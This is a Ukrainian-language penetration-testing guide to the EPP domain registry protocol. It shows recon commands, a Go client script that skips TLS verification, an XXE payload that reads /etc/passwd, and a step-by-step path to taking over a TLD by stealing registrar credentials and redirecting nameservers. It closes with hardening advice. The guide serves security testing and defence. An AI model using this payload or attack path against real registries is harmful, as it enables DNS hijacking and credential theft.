700 - Pentesting EPP

Основна інформація

Розширювальний протокол надання (EPP) - це мережевий протокол, що використовується для управління доменними іменами та іншими інтернет-ресурсами реєстрами доменних імен та реєстраторами. Він дозволяє автоматизацію процесів реєстрації, продовження, передачі та видалення доменних імен, забезпечуючи стандартизовану та безпечну комунікаційну структуру між різними суб'єктами в системі доменних імен (DNS). EPP розроблений так, щоб бути гнучким і розширювальним, що дозволяє додавати нові функції та команди в міру розвитку потреб інфраструктури Інтернету.

В основному, це один з протоколів, які реєстратор TLD пропонуватиме реєстраторам доменів для реєстрації нових доменів у TLD.

Пентест

У цій дуже цікавій статті ви можете побачити, як деякі дослідження безпеки виявили, що кілька реалізацій цього протоколу були вразливі до XXE (XML External Entity), оскільки цей протокол використовує XML для комунікації, що дозволило б зловмисникам захопити десятки різних TLD.

Перерахунок та розвідка

Сервери EPP майже завжди слухають на TCP 700/tcp через TLS. Типове розгортання також забезпечує взаємний TLS (mTLS), тому клієнт повинен представити дійсний сертифікат, виданий CA реєстру. Проте багато приватних тестових або передвиробничих розгортань забувають про цей контроль:

# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>

# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head

Якщо сервер не закриває з'єднання після TLS-рукопожаття, ви можете спробувати надіслати неавтентифіковане <hello/> повідомлення:

<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>

Відкриті клієнти, корисні для тестування

• epp-client (Go) – активно підтримується, підтримує TCP/TLS та EPP-over-HTTPS (RFC 8730): go install github.com/domainr/epp/cmd/epp@latest
• gandi/go-epp – мінімальна бібліотека клієнта, яку можна легко налаштувати для фуззингу або робочих процесів у стилі nuclei.
• afq984/php-epp-client – реалізація на PHP, яку використовують багато малих реєстраторів; зручна ціль для перевірки коду.

Приклад мінімального скрипта для входу+перевірки з Go epp-client:

package main
import (
"github.com/domainr/epp"
"crypto/tls"
)

func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}

Загальні слабкості та вразливості 2023-2025

XXE / SSRF вантаж (працює проти багатьох реалізацій Java/Spring)

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>

Коли парсер неправильно налаштований (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true), вміст файлу повертається всередині структури <resData>.

Інші типові знахідки

1. Слабка політика облікових даних – паролі для входу в EPP коротші за 8 символів; брутфорс часто можливий, оскільки специфікація лише РЕКОМЕНДУЄ (не вимагає) обмеження швидкості.
2. Відсутній статус registryLock / serverUpdateProhibited – після аутентифікації зловмисники можуть негайно оновити записи NS і вкрасти трафік.
3. Несигновані повідомлення опитування – деякі реалізації все ще не підписують повідомлення Q&A опитування, що дозволяє підробку/фішинг операторів реєстраторів.

Шлях атаки: Від нуля до захоплення TLD

1. Виявити EPP кінцеву точку (часто приховану за загальним хостом, таким як ot&e.<tld>.nic.<cc>).
2. Зловживати однією з вразливостей вище, щоб отримати облікові дані на рівні реєстратора (XXE → SSRF до IMDSv1, ексфільтрація облікових даних або TLS-обхід).
3. Випустити запити <update>, щоб змінити записи hostObj домену на сервери імен, контрольовані зловмисником.
4. (Необов'язково) Подати <transfer>, щоб перемістити домен до реєстратора, контрольованого зловмисником – багато реєстрів все ще покладаються на один код авторизації.
5. Прибуток: повний контроль над DNS зоною, можливість запитувати TLS сертифікати через ACME.

Заходи захисту та зміцнення

• Вимагати mTLS з сертифікатами клієнтів для кожного реєстратора та закріпити CA реєстру.
• Встановити parserFeature secure-processing=true або еквівалент для знищення XXE.
• Запустити безперервне фуззингування XML парсера (наприклад, з go-fuzz або jazzer для Java).
• Впровадити статуси Registry Lock / server*Prohibited для доменів з високою вартістю.
• Моніторити чергу poll на підозрілі команди <transfer> або <update> та сповіщати в реальному часі.
• Поправки до контракту ICANN 2024 про зловживання DNS вимагають від реєстрів доводити обмеження швидкості та контроль авторизації – використовуйте їх.

Посилання

• ICANN Security and Stability Advisory Committee (SSAC). "SAC118: Наслідки невиконання оператором реєстру заходів безпеки EPP". 2024.
• HackCompute – "Злом EPP серверів: зловживання XXE для захоплення TLD" (2023).